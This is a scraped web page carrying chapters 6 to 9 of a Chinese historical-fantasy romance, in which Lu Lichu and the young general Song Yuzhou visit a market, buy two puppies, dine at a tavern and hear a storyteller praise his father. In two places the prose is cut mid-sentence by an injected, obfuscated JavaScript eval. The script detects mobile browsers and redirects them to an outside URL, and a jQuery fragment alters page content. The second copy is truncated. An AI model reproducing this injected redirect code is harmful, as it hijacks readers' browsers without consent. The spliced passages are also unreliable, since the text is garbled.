宋渝舟的视线落在了陆梨初身上,昨日见到她时,身上还有在山里蹭上的污泥,今日收拾整齐后,一颦一笑间更显灿烂。 “那便多谢宋小将军了。”陆梨初咬字分明,可那声宋小将军落在宋渝舟耳中,却叫他浑身一个激灵,似有春风贴着他耳垂而过一般。 “我同你们一道去。”裴子远伸手揽上了宋渝舟的肩,一副纨绔子弟的模样,“初阳,你们先回府。” “那还请陆姑娘稍等片刻,宋某去收拾一番。” “去吧。”宋夫人挥了挥手,目光颇有些嫌弃地落在宋渝舟泛青的下巴上,“知鹤,替少爷将新裁的春衫送过去。” 陆梨初见宋渝舟这几次,他都是穿黑衣。 新裁的春衫却是白色的。 陆梨初的视线在穿着白衣的宋渝舟身上停了一瞬后便移开了,只是那微微颤动的眸子暴露了陆梨初那一秒的情绪。 清风吹来,衣袂翩跹。 倒也称得上风姿俊秀,俊美绝伦。 “陆姑娘。”宋渝舟停在了陆梨初身前,双眸如星,“久等了。” 陆梨初难得未曾开口呛宋渝舟两声,只是垂了视线,转身上了马车。 好在马车宽敞,即便三人坐在当中也不显得拥挤,知鹤赶马的声音打车外响起,声音拉得悠远流长。 陆梨初身子轻轻晃了晃,马车动了。 “陆姑娘来得算巧,这两日黎安有市集,许是能瞧见些古鱼国的新鲜玩意儿。”宋渝舟同裴子远坐在一侧,陆梨初则是坐在他们对面,听到宋渝舟的话,陆梨初心里一喜,面上却是不显。 “裴公子看着很清闲的模样。”陆梨初挑眉看向裴子远,她相当笃定,面前这位看着同宋渝舟好似一人的裴子远,内里是有些问题的。 裴子远脸上带着笑,“陆姑娘此言差矣。” “裴某领的是马背上的差事,清闲才好。”裴子远手中一直把玩着什么,见陆梨初的视线落在他的手中,裴子远伸出手,缓缓摊开。 手掌之中,静静躺着一块龟甲。 “子远。”宋渝舟自是也瞧见了那龟甲,开口道,“快收起来,莫再陆姑娘面前胡言乱语。” 宋渝舟开口阻拦不是没道理,先前他回屋收拾时,裴子远也跟了过去,在他面前说了一通怪力乱神。 “龟甲?”陆梨初看着龟甲背上的纹路,心中对裴子远的身份大抵有了猜测,身子往后一送,肩膀靠在了车厢上,“原来裴公子是个打卦算命的。” “陆姑娘只说对了一半。”裴子远收回了摊开的手,收了笑意,“裴某擅打卦,不巧,先前替陆太尉陆大人算过一卦……” “裴子远!”宋渝舟打断了裴子远的话,俊秀的脸上隐隐有了怒意,“若是没旁的事,便回军营操练去。知鹤,停下!” 裴子远侧头深深看了宋渝舟一眼,片刻后起身下了马车,只是他下了马车后,未曾立即走远,而是转到了陆梨初那处,叩响了车厢。 陆梨初掀开车帘,望向裴子远。 “陆姑娘,裴某的卦向来灵验。”裴子远看着陆梨初,突然凑近了车帘,压低了声音,“裴某曾算出过,这车厢中有一人仅剩一年寿命。我不允许有人惹得卦象不灵验。” 陆梨初下意识后仰,视线落在了裴子远脸上,未曾接话。 裴子远并不在意,他挥了挥手,转身走远了。陆梨初的手仍旧撩着窗帘,直到裴子远走得远了,她才缓缓松了手,车帘随着她的动作重新落了下来。 “陆姑娘,子远同你说了什么?”宋渝舟见陆梨初脸上略有些沉重,不由又想起了宋夫人先前交代的话,难免心中起了懊恼。“他平日最是不正经,说的话你别往心里去。” 陆梨初听到宋渝舟的话,抬头看向他,眨了眨眼,“姓裴的说了什么,宋小将军不清楚吗?” “陆姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282694|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,逝者已矣。”宋渝舟自是对裴子远方才说的话有所猜测,毕竟先前裴子远在他面前也说了不少,“你活得好好的,陆大人泉下有知也就心安了。” 陆梨初看着宋渝舟,许久后,浅然一笑,“宋小将军,你不觉得奇怪吗?我一个姑娘家,千里迢迢毫发无损地到了黎安,也半点不为家人的离去悲伤?” 宋渝舟似是没料到陆梨初会突然这样问,愣了一瞬,那双好看的眼睛微微下垂,“陆姑娘,不瞒你说,我先前是觉得奇怪,也派了人去仔细探查。” 陆梨初换了个姿势,叫自己坐得舒服些后,抬头看着宋渝舟,静静听着他的话。 “只是你身上有同陆大人寄来的成对的玉佩,而陆大人的信也被证实了的确是他所写所寄的。”宋渝舟抬眸看向陆梨初,“一个小姑娘自己生活,总有些不愿告人的秘密。宋某先前的做法逾矩且不磊落,宋某先同陆姑娘道声歉。” 陆梨初没应声,也不知在想些什么,车厢中一时安静下来。 而马车的细微颠簸也消失不见了,知鹤的声音在外头响起,“小少爷,再往前马车过不去了,得步行过去。” “陆姑娘?”宋渝舟轻声道,陆梨初像是方才回过神来一般,伸手拉开了马车帘。 “瞧着是个聪明的,没成想是个傻子。”日光顺着缝隙钻进了马车里,陆梨初没有看向宋渝舟,只是轻声撂下一句话后跳下了马车。 而知鹤站在马车旁,只听到了后半句,愣了半瞬,看向陆梨初的背影,有些委屈地对着宋渝舟告状道,“小少爷,她怎么还骂人呢?!” 宋渝舟撩起衣服下了马车,听到知鹤的话无奈失笑道,“不是说你,去将马车找个地方停着,不要在这处挡路。” 知鹤虽面上仍有不忿,却是听了宋渝舟的话,赶着马车掉头走了。 宋渝舟回头看向不远处熙熙攘攘的人群,陆梨初已经走得有些远了,只是她在日光下白得耀眼,叫人能一眼看见。 集市上有许多摊贩,更有不少抱着木箱子,叫卖瓜果的。 陆梨初的目光几乎叫那糖衣晶莹的糖葫芦勾住了,就好像那黏腻的糖丝扯着她的眼皮一样,叫她移转不开脑袋。 “小姑娘,来一串糖葫芦吧。”卖糖葫芦的是个微微弓起背的婆婆,见陆梨初站在摊前,笑眯眯地取下一串糖葫芦,递了过去,“刚做出来的,新鲜得紧,才三文钱。” 陆梨初接过那串糖葫芦,先是咬了一小口,糖衣在口腔中融化开了,同微酸的山楂肉混在一起,叫她不自觉眯了眼睛。 只是一口下去,陆梨初才想起去腰间摸银子,可手放在腰间才想起,自个儿还未曾有空去钱庄兑换银两。 正当她手放在腰间一时不知如何是好时,一双白皙修长的手从她耳侧伸了出来,“阿婆,给你银子。” 是宋渝舟。 “宋小将军?”那卖糖葫芦的阿婆见付钱的是宋渝舟,忙摆了摆手,人还后退了两步,“这糖葫芦便送给你们了,若不是宋小将军你们在,我这个老婆子哪还有卖糖葫芦的命在。” 见那婆婆几乎是眼含热泪地拦着了宋渝舟递钱的手,陆梨初抬眸看向宋渝舟。 当然,饶是她分神打量宋渝舟也没忘了再咬下一口糖葫芦,细细品味着。 “阿婆,您收好。”宋渝舟脸上带笑,将铜板塞进了那婆婆手中,“若是我敢白拿,等父亲回来,该对我家法伺候了。” 听宋渝舟这样讲,那婆婆才伸手抹了抹泪,将手中铜板收好后还不忘对着陆梨初道,“姑娘,宋小将军是个好孩子,你福气大着呢。” 陆梨初没明白过来呢,宋渝舟却是伸手按在了她的肩上,“前面还有好玩的呢,谢谢阿婆,我们走了。” 许是那山楂太酸,糖衣又太甜,叫陆梨初脑子一时僵住了,没等她细想,注意力又被前面的人吸引了,并没有注意到那按在自己肩头的一双手。 只是宋渝舟刚推着陆梨初走了半步,双手便触电般地收回了。 掌心当中还残留有陆梨初肩头的温度,分明是同他掌心相近的温度,却叫宋渝舟的掌心无端烧了起来,好似一把火直直烧到心里去了一般。 这边宋渝舟还在懊恼,自己方才的举动太过失礼。 那头的陆梨初早就挤到人群中去了,许是看了一会儿见宋渝舟未曾跟上,忙回头寻他。 待两人视线对上,陆梨初弯眉笑了起来,伸手挥了挥。 巧笑嫣然间,世间万物似是都没了色彩,只剩陆梨初一人灿若春华,皎如秋月。 看着人群中的陆梨初,宋渝舟似是被地上凸起绊倒了脚,步子停了半刻,方才动了起来。 7. 第 7 章 第七章 - 穿过熙熙攘攘的人群,宋渝舟总算停在了陆梨初身侧。 “你看,这小狗可真是聪慧。”陆梨初的心思全在面前的一笼小狗身上,而笼子旁正站着一个穿着短打的男人,男人身侧坐着一只半人高的大狗。 那只大狗通体雪白,唯有头顶有两撮白毛。 而那男人手上比划着什么,那大狗似是通人性一般,看着那男人的姿势或卧或趴,甚至是在地上打了好些个滚,叫背上细长的白毛沾了灰。 陆梨初紧紧盯着那大狗,眼尾不自觉弯曲着。 宋渝舟偏头看向她,也不知看了多久,随着一声狗吠同四周骤然响起的掌声,他才收回视线低声道,“这大狗已经认了主,买回去恐是不会听你的,若是喜欢,我们挑一只小点的。” 听了宋渝舟的话,陆梨初的眼睛亮了两分,又往前走了两步,蹲了下来,细细看着笼子里挤做一团的小狗。 而那男人似是察觉到了宋渝舟想要买小狗的意图,走了过来,伸手比划着,“一只,三斤盐。” 男人带着浓重的口音,不是黎安人,倒像是邻国的古鱼国人。 古鱼国这两年同炎国时常有摩擦,但在毗邻古鱼国的黎安还是时常能见到前来以物换物的古鱼人。 两国间的战争也好,摩擦也罢,多数是由那少之又少的上位者决定的。大多平头百姓为了碎银几两,稻藜果腹已经是愁白了头发。 宋渝舟眸光微闪,再开口时却是一口流利的古鱼语。 “一只小狗用两斤盐换。” 那男人显然是未曾想到宋渝舟会说古鱼话,愣了片刻,挠了挠头。而一旁蹲着的大狗却是凑近了笼子,伸出舌头细细舔舐着笼子里的小狗。 “或者两只小狗我都要了。”宋渝舟看着在笼子里贴在一处的两只小狗,一只是白毛,背上夹杂了些黑毛,而另一只却是通体黑色,唯有四爪附近是白毛。“给你五斤盐。” 听到身旁的人在说些自己听不懂的话,陆梨初的注意力总算是从小狗身上移除两分落在了宋渝舟身上。 也不知宋渝舟同那男人说了些什么,那男人伸手比划两下,便转身走向笼子,伸手将两只还在瑟瑟发抖的小狗提了出来。 “五斤盐。”男人将手中小狗递向了宋渝舟,“成交。” 而一旁的大狗似是察觉了什么,喉咙里发出低低的呜咽,似是想要走上前来,可那男人轻喝一声,大狗便停了动作,坐回了原地。 只是那双浑圆的眼睛紧紧盯着陆梨初,似是知道这两只小狗以后会跟着陆梨初一样。 “我会好好照顾他们的。”陆梨初同那只大狗对视着,轻声说道。 而那大狗却像是听明白了陆梨初的话一样,趴在了地上,也不再看陆梨初,而是看着那被宋渝舟提在手里的两只狗。 “小少爷——”知鹤气喘吁吁地赶到两人身侧,见到被宋渝舟提着的两只狗时双眸一亮,“小少爷,你怎么知道我一直想要养两条狗看家护院?” 宋渝舟将狗递给了知鹤,两只小狗都很乖,被人抱着既不叫也不挣扎。“你带着他回府取盐,这两只小狗是用五斤盐换来的。” 顿了顿,宋渝舟继续道,“回去后将狗安置在陆姑娘的院子里,你先照看着,等陆姑娘回府后,便由她照看。” 知鹤的嘴角还上扬着呢,只是待宋渝舟的话说完,上扬的嘴角瞬间耷拉了下来。 “小少爷,你怎么还给她买东西啊。”知鹤小声嘟囔着,瞪了瞪陆梨初,认命地抱着小狗,领着男人往宋府的方向走了过去。 陆梨初这才站起身来,而四周的人也散了。 这时,陆梨初才发觉自己的裙摆早就沾上了灰,看着黑一片灰一片,叫人嫌弃。 好在二人是在集市上,虽说多是流动的摊贩,街道两侧却也有铺面。 “你方才同那男人说的什么?”陆梨初四处张望着,还不忘同宋渝舟闲聊,“我怎么一句都没听懂?” “是古鱼语。”宋渝舟细细解释道,“古鱼国语晦涩难懂,我也是来了黎安后才懂了一些。” “你不是在黎安长大的?” “不是。”宋渝舟顿了顿,眸光微暗,似是想到了什么,“十岁前,我一人住在炎京。” 炎京是炎国的国都。那儿远离边疆,自是难以见到古鱼人。 闲聊间,陆梨初已经进了一间铺子。 宋渝舟目光落在了铺子里挂着的裙褂上,这才发觉陆梨初进的,是卖古鱼国服饰的店面。 古鱼国民风彪悍,古鱼国的女人同炎国所谓的大家闺秀不同,她们热辣似火,而裙褂所用的布料更是比炎国的襦裙少上不少。 宋渝舟垂下眼眸,不再去看墙壁上挂着的裙褂。 有风从敞开的大门吹了进来,宋渝舟耳边传来一阵声响,他下意识抬头去看。 面前的人背对着他,身上的古鱼国裙褂似乎分外合身,纤细的腰肢在裙褂下方若隐若现。 “姑娘,你穿这古鱼国裙褂可真好看。”店铺的老板也是个女人,她看着陆梨初换好衣服走了出来,分外惊喜。“瞧着可比我这个古鱼人好看多了。” 宋渝舟微微抬眸去看,陆梨初站在铜镜前细细打量着自己。 古鱼国的裙褂有着同它配套的发饰,店铺的老板已经走上前去替陆梨初绾发。 原本束发的发簪被抽了出来,陆梨初如瀑青丝垂了下来。银制的发饰在店铺老板灵活的手中穿梭在陆梨初的头发当中。 不消片刻,陆梨初便换了个发型。 宋渝舟一时忘了男女有别,看着眉眼如画的陆梨初略有些失神。 “瞧瞧,可真是闭月羞花之姿。”店铺老板细细看着陆梨初忍不住夸赞道,“公子您瞧,这裙褂是不是分外适合夫人?” “是——”宋渝舟下意识地回答,好在很快反应过来,“您误会了,陆姑娘同我没有关系。” “我可不是他夫人。”陆梨初同宋渝舟的声音一道响起,她挑眉看了宋渝舟一眼,半真半假道,“我是来替他说媒的冰人,都这般大了还未曾成家立室,他娘可着急了。” 宋渝舟失笑,却也未曾反驳,只是转向店铺老板,“这一身多少银子?” 两人从裙褂店走出来后,太阳已然爬到了头顶。 宋渝舟抬头看了看天,转向陆梨初道,“午间了,前面有家酒肆味道不错。” 听到有间酒肆味道不错,原本打算再挖苦宋渝舟两句的陆梨初也顾不得挖苦他了,朝着宋渝舟所指的方向走了过去,步履轻快。 原先她在鬼界鹤城,吃食多数是紫苏负责的,紫苏做的食物精致,味道也不错。 可陆梨初吃过人间的食物后才发觉,有些算不得多么精致的吃食却有着无比好的味道。 陆梨初虽记挂着酒肆吃食,一路上倒也不忘打量着叫卖的小物件。 而宋渝舟跟在陆梨初身后,视线先是落在陆梨初的腰间。 随着陆梨初的动作,纤细的腰肢若隐若现着,宋渝舟暗觉不妥,垂下眼眸,看着地走。 只是前面的人动作间偶尔会露出脚踝来。 脚踝上,一条银制的链子上挂着四五个铃铛,随着陆梨初的动作轻轻晃动着。 不过那铃铛虽是晃动,却没有铃铛响。 不知怎的,宋渝舟觉得若是此刻有银铃响声,才更能衬得陆梨初灵气逼人。 还未到酒肆,酒肆当中的饭菜香便传了出来。 “客官几位?”店里跑堂的迎了上来。 陆梨初四处张望着,而宋渝舟在她身侧站定,“二楼还有空的房间吗?” “原来是宋小将军,有的,有的。”跑堂的见到宋渝舟忙将二人往楼上领,“你们随我来,二楼位置最好的厢房还空着呢。” “宋小将军今儿想吃些什么?”跑堂的领着二人进了厢房,替二人续上茶水时才想起酒肆新来了一批酒。“今儿还新到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音落下,宋渝舟也顾不得此举是不是不妥当,忙起身推门走了出去。 待出了房门,宋渝舟才觉得耳尖上的温度渐渐不那么灼人了。他轻轻呼了一口气,似乎这样震颤着的胸膛才能似原先那般平稳下来。 而陆梨初坐在屋内,看着人急匆匆地冲出了屋子,略有些不解地对着虚掩上的门眨了眨眼睛。 她本想问问宋渝舟,若是娶个她现在穿着的衣裳所属国家的姑娘好不好。 可刚起个话头呢,人便走了。看来是不喜外邦的女子。 陆梨初颇为遗憾地摇了摇头,原本她还觉得外邦女子性格应当同她们的服饰一般,热烈似火呢。 可惜了,宋渝舟应当是没那个福分。 这般想着,陆梨初又将视线落回了大堂。 大堂内隐隐有些动静,陆梨初将脑袋探出去一些,好瞧个仔细。 大厅内,方才那个跑堂的面露苦意,对着个小丫头赔笑道,“今儿二楼真是客满了,许姑娘可能得等上片刻。” 那跑堂的话虽是对着小丫头在说,可视线却是落在了一旁带着帷帽的女子身上。 “我们姑娘前儿便递来口信,叫你们留间包房,现在人来了你们却说客满了,岂不是戏弄我们姑娘?!”那小丫头拦在戴着帷帽的女子身前,双手叉腰,双目微微瞪圆。 “无妨,我们等一会儿便是了。”而那戴着帷帽的女子却是伸手拦住了小丫头,便是对着跑堂的也礼数十足。 陆梨初心头一动,手指轻挥,一阵风便穿过酒肆大门吹了进来,那位许姑娘的帷帽也被这风吹起了一角。 秀外慧中,应当是宋渝舟会喜欢的大家闺秀。 这般想着,陆梨初便探出半个脑袋,“许姑娘若是不嫌弃,可以同我们一间共食。” 宋渝舟提着梨花酒走出来时,正好瞧见陆梨初自来熟地招呼许家小姐一道用饭的场景。 而见到他走了出来,陆梨初更是快要探出半个身子,“宋小将军,这位许姑娘定得包房被我们给占了,按照礼数,应当请她同食。” 宋渝舟见二楼的女子几乎将上半身完全探出了窗户,刚刚平复的心跳又乱了起来,也顾不上在大堂里站着,将视线递到自个儿身上的许小姐,忙跑上了楼。 “你小心些,莫要掉下去了!” 8. 第 8 章 第八章 - 陆梨初倒是浑不在意自己那摇摇欲坠的身子,便是宋渝舟跑进来迭声唤她后退些,也只是浑不在意地挥了挥手,视线依旧落在大堂许姑娘的身上。 “姑娘。”那小丫鬟的视线在酒肆里转了两圈,凑到了许姑娘身边,“今儿的说书人是您盼了许久的,要不……” 那许姑娘缓缓摇了摇头,重新理好帷帽,对着上方二人微微行一礼。 “姑娘好意凌柳心领了。”许凌柳转向一旁的小丫鬟,“既然近日没了包房那便算了,我们走吧。” 听了许凌柳的话,一旁正因自个儿私自将留好的包房个给宋小将军而心惊胆战的店跑堂忙开口道,“许姑娘,您还请在马车上等小的片刻。” 跑堂一溜烟跑向后厨,再出来时,大厅里站着的女人已经不见了,他赔着笑招呼食客,“大家且吃着,说书人马上就到。”而他手上还提留着要送给许凌柳作为赔罪的糕点同梨花酒。 只是这一切,二楼包厢里的二人并不知晓。 两人坐在圆桌两端,正大眼瞪小眼着。 陆梨初看着脸色不虞的宋渝舟自是分外不解,她自是觉得方才的做法分外妥当。 占了别人的包房,邀请别人同食可有错?自然没有,任谁都得夸她一句懂事大方。 那许姑娘长得明眸皓齿,言谈举止又是落落大方,配他一个眼是眼,口是口的小将军难道配不得?自然配得,还是面前这不解风情的宋渝舟高攀了。 这般想着,陆梨初脸上便带了两丝恨铁不成钢,正欲张嘴教训对面的人呢,反倒是宋渝舟先开口了。 “陆姑娘,若是你在外面受了伤,我回去恐是要被母亲扒下一层皮来。”宋渝舟声音冷硬,两人虽相处时日尚短,但他已经瞧出面前这位陆姑娘行事只按自个儿是否痛快,若是不说得严重些,今儿不怕从楼上摔下去,明儿就得上房顶抓鸟掏蛋了。 “这酒肆二楼为了能看清打听的评书人,窗户开得极大,你方才那样做,万一摔下去我该怎么同母亲交代?” 陆梨初筷子上仍夹着一块肉,见宋渝舟竹筒倒豆子地说了一大堆,颇有些遗憾地看着他,“宋小将军,再不动手,酒可就凉了。” 宋渝舟一口气险些憋在胸口提不上来。 他在这儿忧心对面人胆子太大那日手底没个分寸伤到自己,而对面这人的,反倒心宽得先吃上了。 “况且我方才只是探头同许姑娘说两句话。”陆梨初虽觉得宋渝舟这人似不太聪慧,但看在这人给她买了小狗还带她吃了不少美食的份上,难得有耐心多说了两句。“总归是我们占了别人的房间,回头你急着打听打听许姑娘是哪家的姑娘,上门赔个罪。” 感情嘛,自是要一点点培养。 今儿错过了无妨,回头去赔礼道歉一番,这不就相识了么。 陆梨初虽自个儿从未经历过话本子里的故事,但她读的话本子多啊! 宋渝舟同那许姑娘便是端庄大小姐同俊朗大将军。 可真真是天造地设的一对。 这般想着,陆梨初看着宋渝舟便像是已经看到了他同许姑娘情根深种,洞房花烛的情景,脸上也带了两丝笑。 宋渝舟见陆梨初赔笑看着自己,不免觉得自己方才语气太过重了。 母亲对自己千叮咛万嘱咐过,陆姑娘从小便不在父母身边,一个小丫头孤苦伶仃地长到这般大骤然失去了亲人,心里定是不好受。 既然陆太尉将陆姑娘托付给自家,那么他们宋家自是要好好照顾着陆姑娘,好叫陆姑娘忘记从前过往。 宋渝舟心中暗悔,再开口时难免软了语气,“陆姑娘,我知你是好心。只是方才的举动太过危险,包房的事我会叫知鹤打听清楚后去道个歉,你不必放在心上。” 听了宋渝舟的话,陆梨初自是相当满意地点了点头。 而宋渝舟却是看着陆梨初如释重负的表情略有些愣神。 他虽未能查到陆姑娘在江南是如何讨生活的,但想来不会太轻松。 陆姑娘虽瞧着娇纵,可如今不过是酒肆将旁人定好的包厢给了自己,便这般担忧,生怕惹得别人不开心。 宋渝舟望着陆梨初,轻轻叹了一口气,用公筷给她夹了不少吃食。 “陆姑娘,你既到了黎安便是我们宋家的人了,不用像从前那样看别人脸色行事。” 陆梨初微微一愣,她不知宋渝舟是从哪里得出的这个结论,不过仔细一想也并未说错。她从前在鹤城可不是要瞧着人的脸色么。 陆梨初昂起头,牵唇笑了笑,而后继续埋头解决面前的美味珍馐。 宋渝舟却是看着她,偶尔才动一动筷子。 房间里便这样安静下来,直到大厅内传来一声惊堂木响。 跑堂的也轻轻叩响了包房门,“宋小将军,这说书马上便开始了,要给你们搬两个躺椅来么,坐着舒服些。” 宋渝舟看了看桌上吃得七七八八的菜肴,点了点头,“劳烦。” 这酒肆在黎安一直生意满堂菜肴味美是一个原因,而另一个却是这酒肆常有说书人来说书。 惊堂木一响,双唇上下碰合间,便是一个又一个引人入胜的故事。 陆梨初从未见过说书,悠闲地斜靠在软榻上,居高临下地望着那头发略有些斑白的说书人。 惊堂木落下后,那人的声音缓缓传来。 “大将生来胆气豪,腰横秋水雁翎刀……今儿我给诸位讲的便是大家甚是熟悉的宋稷宋将军当年一人战百人的事儿……” 陆梨初方才听了个头,便下意识偏头去看在另一侧的宋渝舟。 宋渝舟双目阖着,似是已经睡着了。 陆梨初未曾仔细瞧过宋渝舟。 初见时虽说惊艳,却在知晓他身份后少有拿正眼瞧他的时候。 这白日里相处下来,陆梨初对宋渝舟的印象勉强从一个不知哪来的小子变成了一个不太聪慧的好人。 是以,陆梨初此时倒也愿意细细打量一旁似 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陆梨初点了点头,缓缓眨了眨水光潋滟的眼睛,“回宋府吧。” 路上,陆梨初出奇的安静。 宋渝舟颇有些不习惯,“陆姑娘,昨日我一夜未眠,今日没能叫你玩尽兴……” “宋小将军。”陆梨初打断了宋渝舟的话,“宋稷是你的父亲?” 宋渝舟微微一愣,转念一想便明白过来,陆梨初应当是听说书时听到了宋稷的名字。 “是。”这不是什么不能说的事,宋渝舟点头承认了,只是说起宋稷,他神色更为严肃两分,简短的话语中更是充斥了崇敬之情。 “那宋将军当真曾以一敌百?万军从中取敌将首级,丝血不沾身?” “陆姑娘。”宋渝舟失笑道,“父亲的确战功赫赫,也斩杀不少敌军,但以一敌百太过夸张了。” “未曾以一敌百……”陆梨初似是有些失望,“那说书先生所说的以一人之力守黎安城三月有余也是假的么?” “这倒是确实发生过的事情。”宋渝舟垂下眼睫,那时他尚在炎京。听闻那一仗极为惨烈,好在父亲等到了援军后,一鼓作气打退了古鱼国的士兵,狠狠挫败了古鱼国的焰气,那之后,即便仍有小打小闹,古鱼国却是再也没有从前那样打到黎安城门口的机会了。 “当时究竟是怎么回事,快讲给我听听。”陆梨初向来爱听故事,如今更是不愿放过这个机会,伸手拉住了宋渝舟的袖摆。 只是宋渝舟并未正面回答她,只是轻轻抽开了袖摆,声音略有些低沉,“陆姑娘,当时我不在黎安,不知究竟发生了什么。” 见陆梨初面露失望,宋渝舟继续道,“若是想知道,可以问一问知鹤,那时他在。只是陆姑娘,宋某有一个不情之请。” “关于那一战,宋某希望陆姑娘不要在母亲面前提起。” 9. 第 9 章 第九章 - 见陆梨初面露不解,宋渝舟却是没有更细的解释,只是将目光投向马车外,未曾再看陆梨初。 直到马车驶入宋府,宋渝舟都未曾再讲话。 好在陆梨初虽好奇,却也忘性大。 满腹的疑问在见到院子里打作一团的小狗时,登时抛去了九霄云外。 “陆姑娘。”一面容和善的嬷嬷站在院子里,见陆梨初回来了,忙上前行礼。 陆梨初认出那嬷嬷来,是跟在宋夫人身边的李嬷嬷。 “嬷嬷怎么来了?”陆梨初在院中石凳上坐下,手中还抱着那只白色的小狗。 “宋夫人怕姑娘有不习惯的地方,特地叫老奴来问问您。”李嬷嬷长得便一副温和的模样,笑起来时更像邻家奶奶。 对着这样的老人,陆梨初身上的那么点小刺自是全都顺了,“劳烦嬷嬷了,我一切都好。” “都好便行。”李嬷嬷笑起来时,脸上的皮肤微微皱起,“夫人还有一件事托我问问姑娘您的意思。” “将军同大少爷来了信,再过上几日便能回来了,等将军回来了,夫人想在这黎安办个赏花会,好叫姑娘你在其他夫人姑娘面前露个脸。”李嬷嬷温声细语地将事情利弊分析给陆梨初听。 “夫人的意思是如今陆太尉仍旧蒙冤,若是叫旁人知道姑娘的身份夫人怕节外生枝,便想同姑娘商量商量,只说姑娘是从炎京来的表亲。” 陆梨初虽不是真正的陆家孤女,但到底未曾经历过这些,一时没明白其中的弯弯绕绕。一时未曾开口接话。 李嬷嬷见陆梨初没说话,只当她正感怀父母呢,忙继续解释道,“自然,夫人也不舍得叫姑娘不认自己的父母,只是如今朝堂上波诡云谲,若是贸贸然透露了姑娘的身份,恐怕会惹来杀身之祸啊。” “嬷嬷,我明白,便照着宋夫人说的去做吧。”陆梨初虽不明白其中弯弯绕绕,却也知道自己的事儿的确越少人知晓得好,虽然云辞办事从无遗漏,但万一捅出篓子来总归是不好。 不说旁的,紫苏还在鬼界假扮自个儿呢,若是事情败露,第一个遭罪的定然是她。 见陆梨初这般爽快地同意了,李嬷嬷不免心疼,取来新裁的衣衫替陆梨初披上了,“如今晚间仍旧凉气逼人,姑娘别冻到了。” “府里下人前些日子被送走了,如今姑娘身边也没个人照料着。虽说姑娘您自己呆惯了,但身边还是有个人的好。”李嬷嬷拍了拍陆梨初的肩,语重心长道,“明儿老奴便去寻些人,姑娘您自个儿挑,挑个合心意的,平日也好有人帮您添茶加衣。” “多谢嬷嬷。”陆梨初没有在拒绝,早先她的说辞无非是要拒了裴子远不怀好意送来的人,如今倒是没了什么拒绝的理由。 李嬷嬷看着乖巧听话的陆梨初,缓缓叹了口气,“姑娘瞧着真是惹人疼,叫人想起大小姐了。”许是人上了年纪,总会变得多愁善感,李嬷嬷眼眶隐隐泛红,似是想到了什么。 “嬷嬷这是怎么了?” “夜里风大,迷了我这老婆子的眼。”李嬷嬷伸手揉了揉眼睛,眼睛微微眯起看了看天色,“天色不早了,老奴先回去了,姑娘早些休息。缺什么便同老奴讲。” “那嬷嬷慢走。”陆梨初送着李嬷嬷出了院子,站在小院前看着渐暗的天幕愣了片刻,方才转身进了院子。而那两只小狗正抱作一团打闹着,陆梨初走过去一手提起一只,“还未曾给你们俩起个名字。” 两只小狗的眼睛亮亮的,白色那只还伸出温热湿漉漉的舌头舔舐着陆梨初的手腕,闹得她不得不松了手。 “你们呢是五斤盐换来的。”陆梨初摸了摸黑色那只,“那你就叫五斤盐。至于你——” 白色那只仍旧伸着舌头想要舔舐陆梨初,只是舌头垂着的样子看着呆傻不已,“你便叫小船儿吧,谁让你同那买你来的人一样呆呆傻傻的。” - 宋夫人已经换上了寝衣,听到外面的动静,有些疲惫地睁开了眼,“李嬷嬷,你回来了?” “夫人,老奴回来了。”李嬷嬷急急忙忙走上前,搀扶着宋夫人往床边走,“老奴将事情同陆姑娘说了,陆姑娘懂事,说全凭夫人定。” “梨初是个乖孩子。”宋夫人在床沿坐了下来,微微闭着眼,而李嬷嬷站在她身侧,替她细细按摩着。“只是如今陆家落难,我们宋家也是步步难行,真是委屈她了。” “夫人,您别多想。”李嬷嬷不知想起什么,脸上带了笑,“陆姑娘瞧着挺好的,今儿小少爷还换了两只狗崽子同她作伴,老奴瞧着陆姑娘比昨儿精神多了。” “先前渝舟回来先来看了我。”宋夫人轻叹了一口气,“他说今儿带着梨初去酒肆吃东西,店家做主把旁人定的厢房给了他们。这事儿叫梨初知道后,几次三番叮嘱渝舟记得同别人赔礼道歉。” “你说说,要是好好长大的孩子,哪里会这般敏感。”宋夫人睁开眼,看着屋内忽明忽暗的烛火,“我同梨初母亲大小就认识,从前还戏言若是彼此的孩子正是一男一女便结为夫妻,谁知道如今竟是这么个情景。” “夫人,大小姐当年是不得已,哪能说是你的错。”李嬷嬷在宋夫人未出阁时便跟在了她的身边,如今自是知道宋夫人提的是什么事。 陆家明面上,只有两子——陆千砚是哥哥。 而那陆千砚同宋家大小姐宋听棠年岁相仿,幼时相伴着长大。 原本两家就有指腹为婚的戏言,孩子们之间更是有着情谊,怎么想都该是佳话一片。 只可惜,造化弄人。 最上头那位却是看上了宋听棠。 若是只如此便罢了,可偏偏那陆千砚是个死心眼的孩子。 听棠进宫后没多久,陆千砚便积郁成疾,药石无医了。 打那之后,陆夫人同宋夫人便不曾再联系过。 直到上一封信——托付宋夫人照料她最后的血脉。 “如今咱们好好照料陆姑娘,也算是对当年的弥补了。”李嬷嬷轻声叹了口气,“夫人,这样的力道如何?” “嗯。”宋夫人重新闭上了眼,“那明儿你亲自去挑几个看着干净的丫鬟叫梨初选个合心意的。” “虽说咱们先前遣散奴仆是为了替老爷他们祈福,可也没有叫梨初跟着咱们一道受苦的道理。” “老奴知道,明儿便亲自去挑。” 这头的人觉得处处委屈到 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实际上知鹤并不是很清楚陆梨初的来历,今儿隐约听说陆梨初是炎京来投奔宋家的亲戚,心里更是觉得陆梨初不过是个打秋风的穷亲戚罢了。 陆梨初挑眉斜了斜眼不是眼鼻不是鼻的知鹤,不等她开口呢,站在最右端的那个丫鬟突然跪了下来,“姑娘,奴婢擅长梳头。” “那你还不快去替陆姑娘梳个头去。”知鹤在一旁接话道,“陆姑娘,这丫头如何?” 